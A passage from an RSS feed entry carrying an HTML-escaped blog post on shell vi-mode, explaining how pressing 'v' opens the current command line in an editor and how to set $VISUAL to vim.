&lt;/ul&gt;
&lt;h2 id="more-complex-edits"&gt;More complex edits&lt;/h2&gt;
&lt;p&gt;If the implemented commands are not enough to edit your one-liner, you can always request a fully-fledged vim and open the command in a temp file.&lt;/p&gt;
&lt;p&gt;To do that, press &lt;code&gt;v&lt;/code&gt; while in normal mode. This will open your default editor with a temp file. Write-quit to execute the edited command in the shell.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 In case this doesn&amp;rsquo;t work for you, you might want to check your setting for &lt;code&gt;$VISUAL&lt;/code&gt; or add this to your &lt;code&gt;.bash_profile&lt;/code&gt;: &lt;code&gt;export VISUAL=&amp;quot;vim&amp;quot;&lt;/code&gt;
&lt;/div&gt;
</description></item></channel></rss>